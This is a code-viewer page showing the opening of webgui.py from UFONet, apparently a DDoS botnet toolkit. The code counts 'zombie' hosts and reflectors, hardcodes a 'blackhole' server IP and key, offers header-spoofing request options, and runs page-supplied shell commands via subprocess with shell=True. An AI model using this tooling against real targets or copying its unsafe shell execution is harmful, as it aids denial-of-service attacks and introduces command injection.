webgui.py 489 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227622862296230623162326233623462356236623762386239624062416242624362446245624662476248624962506251625262536254625562566257625862596260626162626263626462656266626762686269627062716272627362746275627662776278627962806281628262836284628562866287628862896290629162926293629462956296629762986299630063016302630363046305630663076308630963106311631263136314631563166317631863196320632163226323632463256326632763286329633063316332633363346335633663376338633963406341634263436344634563466347634863496350635163526353635463556356635763586359636063616362636363646365636663676368636963706371637263736374637563766377637863796380638163826383638463856386638763886389639063916392639363946395639663976398639964006401640264036404640564066407640864096410641164126413641464156416641764186419642064216422642364246425642664276428642964306431643264336434643564366437643864396440644164426443644464456446644764486449645064516452645364546455645664576458645964606461646264636464646564666467646864696470647164726473647464756476647764786479648064816482648364846485648664876488648964906491649264936494649564966497649864996500650165026503650465056506650765086509651065116512651365146515651665176518651965206521652265236524652565266527652865296530653165326533653465356536653765386539654065416542654365446545654665476548654965506551655265536554655565566557655865596560656165626563656465656566656765686569657065716572657365746575657665776578657965806581658265836584658565866587658865896590659165926593659465956596659765986599660066016602660366046605660666076608660966106611661266136614661566166617661866196620662166226623662466256626662766286629663066316632663366346635663666376638663966406641664266436644664566466647664866496650665166526653665466556656665766586659666066616662666366646665666666676668666966706671667266736674667566766677667866796680668166826683668466856686668766886689669066916692669366946695669666976698669967006701670267036704670567066707670867096710671167126713671467156716671767186719672067216722672367246725672667276728672967306731673267336734673567366737673867396740674167426743674467456746674767486749675067516752675367546755675667576758675967606761676267636764676567666767676867696770677167726773677467756776677767786779678067816782678367846785678667876788678967906791679267936794679567966797679867996800680168026803680468056806680768086809681068116812681368146815681668176818681968206821682268236824682568266827682868296830683168326833683468356836683768386839684068416842684368446845684668476848684968506851685268536854685568566857685868596860686168626863686468656866686768686869687068716872687368746875687668776878687968806881688268836884688568866887688868896890689168926893689468956896689768986899690069016902690369046905690669076908690969106911691269136914691569166917691869196920692169226923692469256926692769286929693069316932693369346935693669376938693969406941694269436944694569466947694869496950695169526953695469556956695769586959696069616962696369646965696669676968696969706971697269736974697569766977697869796980698169826983698469856986698769886989699069916992699369946995699669976998699970007001700270037004700570067007700870097010701170127013701470157016701770187019702070217022702370247025702670277028702970307031703270337034703570367037703870397040704170427043704470457046704770487049705070517052705370547055705670577058705970607061706270637064706570667067706870697070707170727073707470757076707770787079708070817082708370847085708670877088708970907091709270937094709570967097709870997100710171027103710471057106710771087109711071117112711371147115711671177118711971207121712271237124712571267127712871297130713171327133713471357136713771387139714071417142714371447145714671477148714971507151715271537154715571567157715871597160716171627163716471657166716771687169717071717172717371747175717671777178717971807181718271837184718571867187718871897190719171927193719471957196719771987199720072017202720372047205720672077208720972107211721272137214721572167217721872197220722172227223722472257226722772287229723072317232723372347235723672377238723972407241724272437244724572467247724872497250725172527253725472557256725772587259726072617262726372647265726672677268726972707271727272737274727572767277727872797280728172827283728472857286728772887289729072917292729372947295729672977298729973007301730273037304730573067307730873097310731173127313731473157316731773187319732073217322732373247325732673277328732973307331733273337334733573367337733873397340734173427343734473457346734773487349735073517352735373547355735673577358735973607361736273637364736573667367736873697370737173727373737473757376737773787379738073817382738373847385738673877388738973907391739273937394739573967397739873997400740174027403740474057406740774087409741074117412741374147415741674177418741974207421742274237424742574267427742874297430743174327433743474357436743774387439744074417442744374447445744674477448744974507451745274537454745574567457745874597460746174627463746474657466746774687469747074717472747374747475747674777478747974807481748274837484748574867487748874897490749174927493749474957496749774987499750075017502750375047505750675077508750975107511751275137514751575167517751875197520752175227523752475257526752775287529753075317532753375347535753675377538753975407541754275437544754575467547754875497550755175527553755475557556755775587559756075617562756375647565756675677568756975707571757275737574757575767577757875797580758175827583758475857586758775887589759075917592759375947595759675977598759976007601760276037604760576067607760876097610761176127613761476157616761776187619762076217622762376247625762676277628762976307631763276337634763576367637763876397640764176427643764476457646764776487649765076517652765376547655765676577658765976607661766276637664766576667667766876697670767176727673767476757676767776787679768076817682768376847685768676877688768976907691769276937694769576967697769876997700770177027703770477057706770777087709771077117712771377147715771677177718771977207721772277237724772577267727772877297730773177327733773477357736773777387739774077417742774377447745774677477748774977507751775277537754775577567757775877597760776177627763776477657766776777687769777077717772777377747775777677777778777977807781778277837784778577867787778877897790779177927793779477957796779777987799780078017802780378047805780678077808780978107811781278137814781578167817781878197820782178227823782478257826782778287829783078317832783378347835783678377838783978407841784278437844784578467847784878497850785178527853785478557856785778587859786078617862786378647865786678677868786978707871787278737874787578767877
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2022 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. #######WORKAROUND PYTHON(3) VERSIONS####################
  11. import platform
  12. python_version = "python"+platform.python_version_tuple()[0]+"."+platform.python_version_tuple()[1]
  13. #######################################################
  14. import socket, threading, re, os, time, random, base64
  15. import webbrowser, subprocess, json, sys, requests
  16. import urllib.request, urllib.error, urllib.parse
  17. from urllib.parse import urlparse as urlparse
  18. from core.tools.crypter import Cipher
  19. from time import gmtime, strftime, strptime
  20. from Crypto.Cipher import AES
  21. from hashlib import sha1, sha256
  22. from decimal import Decimal
  23. from random import shuffle
  24. from .options import UFONetOptions
  25. from .main import UFONet
  26. from core.tools.abductor import Abductor
  27. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  28. default_blackhole = '46.163.118.220' # default blackhole #
  29. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  30. ###################################################################
  31. browser_init_page = "https://searchencrypt.com" # initial webpage for ship.browser [OK! 16/06/2021]
  32. check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 06/06/2020]
  33. check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  34. check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [06/06/2020]
  35. torrent_seed = "https://ufonet.03c8.net/ufonet/ufonet-v1.8.tar.gz.torrent" # current torrent seed
  36. blackhole_sep = "|" # blackhole stream separator
  37. board_msg_sep = "#!#" # board stream separator
  38. grid_msg_sep = "#?#" # grid stream seperator
  39. wargames_msg_sep = "#-#" # wargames stream seperator
  40. links_msg_sep = "#L#" # links stream separator
  41. streams_msg_sep = "#S#" # streams stream separator
  42. games_msg_sep = "#G#" # games stream separator
  43. globalnet_msg_sep = "#$#" # globalnet stream separator
  44. badkeys = [";", "/"] # some bad keys
  45. host = "0.0.0.0"
  46. port = 9999
  47. class ClientThread(threading.Thread):
  48. def __init__(self, ip, port, socket):
  49. threading.Thread.__init__(self)
  50. self.ip = ip
  51. self.port = port
  52. self.socket = socket
  53. self.pages = Pages()
  54. def run(self):
  55. req = self.socket.recv(2048)
  56. res = self.pages.get(req)
  57. if res is None:
  58. self.socket.close()
  59. return
  60. out = "HTTP/1.0 %s\r\n" % res["code"]
  61. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  62. out += "%s" % res["html"]
  63. try:
  64. self.socket.send(out.encode('utf-8'))
  65. except:
  66. self.socket.send(out)
  67. self.socket.close()
  68. if "run" in res and len(res["run"]):
  69. subprocess.Popen(res["run"], shell=True)
  70. class Pages():
  71. def file_len(self, fn):
  72. with open(fn) as f:
  73. for i, l in enumerate(f):
  74. pass
  75. return i + 1
  76. def html_army_map(self,target=None):
  77. try:
  78. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file))+int(self.file_len(self.ntps_file))+int(self.file_len(self.dnss_file))+int(self.file_len(self.snmps_file)) )+"\ninitMap()\n\n"
  79. except:
  80. target_js="not any zombie available\n\n"
  81. if target is not None:
  82. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  83. return self.pages["/header"] + """
  84. <link rel="stylesheet" href="/js/style.css" />
  85. <link rel="stylesheet" href="/js/ajaxmap.css" />
  86. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  87. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  88. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  89. <script src="/js/leaflet/leaflet.js"></script>
  90. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  91. <script src="/js/jquery-1.10.2.min.js"></script>
  92. <script src="/js/rlayer-src.js"></script>
  93. <script src="/js/raphael.js"></script>
  94. <script src="/js/ufo.js"></script>
  95. <script src="/js/ajax.js"></script>
  96. </head><body bgcolor="black" text="black">
  97. <div id="wrapper">
  98. <div id="map" style="width: 100%; height: 100%"></div>
  99. </div>
  100. <script type="text/javascript">
  101. window.onload = function(){
  102. """+target_js+"""
  103. }
  104. </script>
  105. <center>
  106. """ + self.pages["/footer"]
  107. def html_request_submit(self):
  108. return self.pages["/header"]+"""<script>
  109. window.setTimeout(window.close,1234)
  110. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  111. <center>settings updated"""+self.pages["/footer"]
  112. def html_requests(self):
  113. # read requests configuration file (json)
  114. try:
  115. with open(self.mothership_webcfg_file) as data_file:
  116. data = json.load(data_file)
  117. except:
  118. if os.path.exists(self.mothership_webcfg_file) == True:
  119. print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
  120. return
  121. else: # generate default requests configuration file
  122. print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
  123. with open(self.mothership_webcfg_file, "w") as f:
  124. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  125. # set values of requests configuration from json file to html form
  126. with open(self.mothership_webcfg_file) as data_file:
  127. data = json.load(data_file)
  128. self.agents = [] # generating available user-agents
  129. f = open(self.agents_file)
  130. agents = f.readlines()
  131. f.close()
  132. for agent in agents:
  133. self.agents.append(agent)
  134. self.user_agent = random.choice(self.agents).strip()
  135. self.rproxy = data["rproxy"]
  136. if self.rproxy == "NONE":
  137. self.rproxy = ""
  138. self.ruseragent = data["ruseragent"]
  139. if self.ruseragent == "RANDOM":
  140. self.ruseragent = self.user_agent # random user-agent
  141. self.rreferer = data["rreferer"]
  142. if self.rreferer == "RANDOM":
  143. self.rreferer = self.referer # random referer
  144. self.rhost = data["rhost"]
  145. if self.rhost == "NONE":
  146. self.rhost = ""
  147. self.rxforw = data["rxforw"]
  148. if self.rxforw == "on":
  149. self.rxforw_check = 'checked'
  150. else:
  151. self.rxforw_check = ''
  152. self.rxclient = data["rxclient"]
  153. if self.rxclient == "on":
  154. self.rxclient_check = 'checked'
  155. else:
  156. self.rxclient_check = ''
  157. self.rtimeout = data["rtimeout"]
  158. self.rretries = data["rretries"]
  159. self.rdelay = data["rdelay"]
  160. self.threads = data["threads"]
  161. self.rssl = data["rssl"]
  162. if self.rssl == "on":
  163. self.rssl_check = 'checked'
  164. else:
  165. self.rssl_check = ''
  166. return self.pages["/header"] + """
  167. <script language="javascript">
  168. function Requests() {
  169. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  170. }
  171. </script>
  172. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  173. <u>Configure requests:</u>
  174. <table cellpadding="2" cellspacing="2">
  175. <form method='GET'>
  176. <tr>
  177. <td> Use proxy server:</td>
  178. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  179. </tr>
  180. <tr>
  181. <td> Use another HTTP User-Agent header:</td>
  182. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  183. </tr>
  184. <tr>
  185. <td> Use another HTTP Referer header:</td>
  186. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  187. </tr>
  188. <tr>
  189. <td> Use another HTTP Host header:</td>
  190. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  191. </tr>
  192. <tr>
  193. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  194. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  195. </tr>
  196. <tr>
  197. <td> Set your HTTP X-Client-IP with random IP values:</td>
  198. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  199. </tr>
  200. <tr>
  201. <td> Select your timeout:</td>
  202. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  203. </tr>
  204. <tr>
  205. <td> Retries when the connection timeouts:</td>
  206. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  207. </tr>
  208. <tr>
  209. <td> Delay in seconds between each HTTP request:</td>
  210. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  211. </tr>
  212. <tr>
  213. <td> Number of threads:</td>
  214. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  215. </tr>
  216. <tr>
  217. <td> Force usage of SSL/HTTPS requests:</td>
  218. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  219. </tr>
  220. </table>
  221. <hr>
  222. <input type="hidden" name="update" value="1">
  223. <input type="submit" value="Set!" onclick="Requests()"></pre>
  224. </form>
  225. """ + self.pages["/footer"]
  226. def html_board_profile_submit(self):
  227. return self.pages["/header"]+"""<script>
  228. window.setTimeout(window.close,1234)
  229. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  230. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  231. def html_grid_profile_submit(self):
  232. return self.pages["/header"]+"""<script>
  233. window.setTimeout(window.close,1234)
  234. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
